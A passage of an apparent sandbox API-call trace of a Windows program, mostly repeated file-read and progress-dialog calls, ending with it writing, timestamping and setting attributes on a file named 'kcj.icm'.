(in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.584] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.584] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.584] GetTickCount () returned 0x1fc38 [0068.584] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.584] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.584] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.584] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.584] GetTickCount () returned 0x1fc38 [0068.584] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.584] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.584] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.584] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.584] GetTickCount () returned 0x1fc38 [0068.584] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.584] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.584] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.584] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.584] GetTickCount () returned 0x1fc38 [0068.584] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.584] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.584] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.584] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.584] GetTickCount () returned 0x1fc38 [0068.584] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.584] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.585] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.585] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.585] GetTickCount () returned 0x1fc38 [0068.585] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.585] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.585] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.585] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.585] GetTickCount () returned 0x1fc38 [0068.585] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.585] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.585] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.585] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.585] GetTickCount () returned 0x1fc38 [0068.585] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.585] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.585] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.585] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.585] GetTickCount () returned 0x1fc38 [0068.585] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.585] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.585] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.585] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.585] GetTickCount () returned 0x1fc38 [0068.585] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.585] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.585] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.585] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.585] GetTickCount () returned 0x1fc38 [0068.585] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.585] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.585] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.585] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.585] GetTickCount () returned 0x1fc38 [0068.585] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.585] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.585] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.585] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.585] GetTickCount () returned 0x1fc38 [0068.585] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.585] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.585] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.585] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.585] GetTickCount () returned 0x1fc38 [0068.585] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.585] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.585] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.585] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.585] GetTickCount () returned 0x1fc38 [0068.586] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.586] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.586] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.586] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.586] GetTickCount () returned 0x1fc38 [0068.586] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.586] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.586] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.586] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.586] GetTickCount () returned 0x1fc38 [0068.586] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.586] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.586] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.586] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.586] GetTickCount () returned 0x1fc38 [0068.586] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.586] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.586] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.586] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.586] GetTickCount () returned 0x1fc38 [0068.586] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.586] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.586] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.586] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.586] GetTickCount () returned 0x1fc38 [0068.586] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.586] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.586] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.586] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.586] GetTickCount () returned 0x1fc38 [0068.586] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.586] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.586] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.586] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.586] GetTickCount () returned 0x1fc38 [0068.586] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.586] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.586] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.586] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.586] GetTickCount () returned 0x1fc38 [0068.586] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.586] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.586] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.586] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.586] GetTickCount () returned 0x1fc38 [0068.586] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.586] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.587] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.587] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.587] GetTickCount () returned 0x1fc38 [0068.587] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.587] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.587] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.587] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.587] GetTickCount () returned 0x1fc38 [0068.587] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.587] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.587] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.587] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.587] GetTickCount () returned 0x1fc38 [0068.587] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.587] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.587] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.587] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.587] GetTickCount () returned 0x1fc38 [0068.587] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.587] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.587] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.587] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.587] GetTickCount () returned 0x1fc38 [0068.587] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.587] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.587] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.587] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.587] GetTickCount () returned 0x1fc38 [0068.587] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.587] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.587] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.587] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.587] GetTickCount () returned 0x1fc38 [0068.587] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.587] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.587] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.587] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.587] GetTickCount () returned 0x1fc38 [0068.587] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.587] ReadFile (in: hFile=0x1c, lpBuffer=0x27044c, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27044c*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.587] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.587] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.587] GetTickCount () returned 0x1fc38 [0068.587] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.587] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x22d, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x22d, lpOverlapped=0x0) returned 1 [0068.588] GetTickCount () returned 0x1fc38 [0068.588] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.588] SetFilePointer (in: hFile=0x1c, lDistanceToMove=877603, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd6423 [0068.588] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.588] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.588] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.589] CloseHandle (hObject=0x138) returned 1 [0068.589] SetFileAttributesA (lpFileName="kcj.icm", dwFileAttributes=0x20) returned 1 [0068.589] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd6423 [0068.590] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 